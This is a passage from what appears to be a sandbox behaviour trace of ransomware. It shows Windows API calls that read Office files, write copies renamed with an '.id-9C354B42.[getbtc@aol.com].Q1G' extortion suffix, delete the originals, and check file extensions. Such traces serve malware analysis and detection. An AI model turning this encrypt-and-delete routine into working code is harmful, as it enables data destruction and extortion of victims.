office\\office14\\forms\\1033\\exitems.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.939] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.940] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.940] GetLastError () returned 0x0 [0261.940] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0261.984] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0261.984] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.984] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0261.985] SetEndOfFile (hFile=0x3a0) returned 1 [0261.985] CloseHandle (hObject=0x3a0) returned 1 [0261.985] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.985] SetEndOfFile (hFile=0x1f8) returned 1 [0261.987] CloseHandle (hObject=0x1f8) returned 1 [0261.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico")) returned 1 [0261.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0261.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0261.988] lstrlenW (lpString=".doc") returned 4 [0261.988] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.988] lstrlenW (lpString=".docx") returned 5 [0261.988] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0261.988] lstrlenW (lpString=".pdf") returned 4 [0261.989] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.989] lstrlenW (lpString=".xls") returned 4 [0261.989] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.989] lstrlenW (lpString=".xlsx") returned 5 [0261.989] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0261.989] lstrlenW (lpString=".ppt") returned 4 [0261.989] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0261.989] lstrlenW (lpString=".zip") returned 4 [0261.989] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.989] lstrlenW (lpString=".rar") returned 4 [0261.989] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.989] lstrlenW (lpString=".bz2") returned 4 [0261.989] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.989] lstrlenW (lpString=".7z") returned 3 [0261.989] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0261.989] lstrlenW (lpString=".dbf") returned 4 [0261.989] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0261.989] lstrlenW (lpString=".1cd") returned 4 [0261.989] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0261.989] lstrlenW (lpString=".jpg") returned 4 [0261.989] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0261.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0261.989] lstrlenW (lpString=".doc") returned 4 [0261.989] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.989] lstrlenW (lpString=".docx") returned 5 [0261.989] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0261.989] lstrlenW (lpString=".pdf") returned 4 [0261.989] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.989] lstrlenW (lpString=".xls") returned 4 [0261.989] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.989] lstrlenW (lpString=".xlsx") returned 5 [0261.990] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0261.990] lstrlenW (lpString=".ppt") returned 4 [0261.990] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0261.990] lstrlenW (lpString=".zip") returned 4 [0261.990] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.990] lstrlenW (lpString=".rar") returned 4 [0261.990] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.990] lstrlenW (lpString=".bz2") returned 4 [0261.990] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.990] lstrlenW (lpString=".7z") returned 3 [0261.990] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0261.990] lstrlenW (lpString=".dbf") returned 4 [0261.990] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0261.990] lstrlenW (lpString=".1cd") returned 4 [0261.990] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0261.990] lstrlenW (lpString=".jpg") returned 4 [0261.990] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.990] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.990] lstrlenW (lpString="INFOML.ICO") returned 10 [0261.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.991] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=25214) returned 1 [0261.991] CloseHandle (hObject=0x1f8) returned 1 [0261.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico")) returned 0x20 [0261.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.992] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.992] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.994] GetLastError () returned 0x0 [0261.994] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x627e, lpOverlapped=0x0) returned 1 [0261.996] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6280, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x6280, lpOverlapped=0x0) returned 1 [0261.997] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.997] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0261.997] SetEndOfFile (hFile=0x1b8) returned 1 [0261.997] CloseHandle (hObject=0x1b8) returned 1 [0261.997] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.997] SetEndOfFile (hFile=0x1f8) returned 1 [0262.000] CloseHandle (hObject=0x1f8) returned 1 [0262.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico")) returned 1 [0262.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0262.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0262.001] lstrlenW (lpString=".doc") returned 4 [0262.001] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.001] lstrlenW (lpString=".docx") returned 5 [0262.001] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.001] lstrlenW (lpString=".pdf") returned 4 [0262.001] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.001] lstrlenW (lpString=".xls") returned 4 [0262.001] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.001] lstrlenW (lpString=".xlsx") returned 5 [0262.001] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.001] lstrlenW (lpString=".ppt") returned 4 [0262.001] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0262.001] lstrlenW (lpString=".zip") returned 4 [0262.001] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.001] lstrlenW (lpString=".rar") returned 4 [0262.001] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.001] lstrlenW (lpString=".bz2") returned 4 [0262.001] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.001] lstrlenW (lpString=".7z") returned 3 [0262.001] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0262.001] lstrlenW (lpString=".dbf") returned 4 [0262.001] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0262.001] lstrlenW (lpString=".1cd") returned 4 [0262.001] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0262.001] lstrlenW (lpString=".jpg") returned 4 [0262.001] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0262.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0262.002] lstrlenW (lpString=".doc") returned 4 [0262.002] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.002] lstrlenW (lpString=".docx") returned 5 [0262.002] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.002] lstrlenW (lpString=".pdf") returned 4 [0262.002] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.002] lstrlenW (lpString=".xls") returned 4 [0262.002] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.002] lstrlenW (lpString=".xlsx") returned 5 [0262.002] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.002] lstrlenW (lpString=".ppt") returned 4 [0262.002] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0262.002] lstrlenW (lpString=".zip") returned 4 [0262.002] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.002] lstrlenW (lpString=".rar") returned 4 [0262.002] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.002] lstrlenW (lpString=".bz2") returned 4 [0262.002] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.002] lstrlenW (lpString=".7z") returned 3 [0262.002] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0262.002] lstrlenW (lpString=".dbf") returned 4 [0262.002] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0262.002] lstrlenW (lpString=".1cd") returned 4 [0262.002] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO") returned 64 [0262.002] lstrlenW (lpString=".jpg") returned 4 [0262.002] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.002] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.003] lstrlenW (lpString="INFOMS.ICO") returned 10 [0262.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.003] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2998) returned 1 [0262.003] CloseHandle (hObject=0x1f8) returned 1 [0262.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico")) returned 0x20 [0262.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.004] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.004] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.004] GetLastError () returned 0x0 [0262.004] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0262.006] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0262.007] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.007] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0262.007] SetEndOfFile (hFile=0x1b8) returned 1 [0262.007] CloseHandle (hObject=0x1b8) returned 1 [0262.007] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.007] SetEndOfFile (hFile=0x1f8) returned 1 [0262.009] CloseHandle (hObject=0x1f8) returned 1 [0262.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico")) returned 1 [0262.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0262.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0262.010] lstrlenW (lpString=".doc") returned 4 [0262.010] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.010] lstrlenW (lpString=".docx") returned 5 [0262.010] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.010] lstrlenW (lpString=".pdf") returned 4 [0262.010] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.010] lstrlenW (lpString=".xls") returned 4 [0262.010] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.010] lstrlenW (lpString=".xlsx") returned 5 [0262.010] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.010] lstrlenW (lpString=".ppt") returned 4 [0262.010] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0262.010] lstrlenW (lpString=".zip") returned 4 [0262.010] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.010] lstrlenW (lpString=".rar") returned 4 [0262.010] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.010] lstrlenW (lpString=".bz2") returned 4 [0262.010] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.010] lstrlenW (lpString=".7z") returned 3 [0262.010] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0262.010] lstrlenW (lpString=".dbf") returned 4 [0262.010] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0262.011] lstrlenW (lpString=".1cd") returned 4 [0262.011] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0262.011] lstrlenW (lpString=".jpg") returned 4 [0262.011] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0262.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0262.011] lstrlenW (lpString=".doc") returned 4 [0262.011] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.011] lstrlenW (lpString=".docx") returned 5 [0262.011] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.011] lstrlenW (lpString=".pdf") returned 4 [0262.011] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.011] lstrlenW (lpString=".xls") returned 4 [0262.011] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.011] lstrlenW (lpString=".xlsx") returned 5 [0262.011] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.011] lstrlenW (lpString=".ppt") returned 4 [0262.011] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0262.011] lstrlenW (lpString=".zip") returned 4 [0262.011] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.011] lstrlenW (lpString=".rar") returned 4 [0262.011] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.011] lstrlenW (lpString=".bz2") returned 4 [0262.011] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.011] lstrlenW (lpString=".7z") returned 3 [0262.011] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0262.011] lstrlenW (lpString=".dbf") returned 4 [0262.011] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0262.011] lstrlenW (lpString=".1cd") returned 4 [0262.011] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0262.012] lstrlenW (lpString=".jpg") returned 4 [0262.012] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.012] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0262.012] lstrlenW (lpString="IPM.CFG") returned 7 [0262.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.012] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=795) returned 1 [0262.012] CloseHandle (hObject=0x1f8) returned 1 [0262.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg")) returned 0x20 [0262.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.013] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.013] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg.id-9c354b42.[getbtc@aol.com].q1g"), 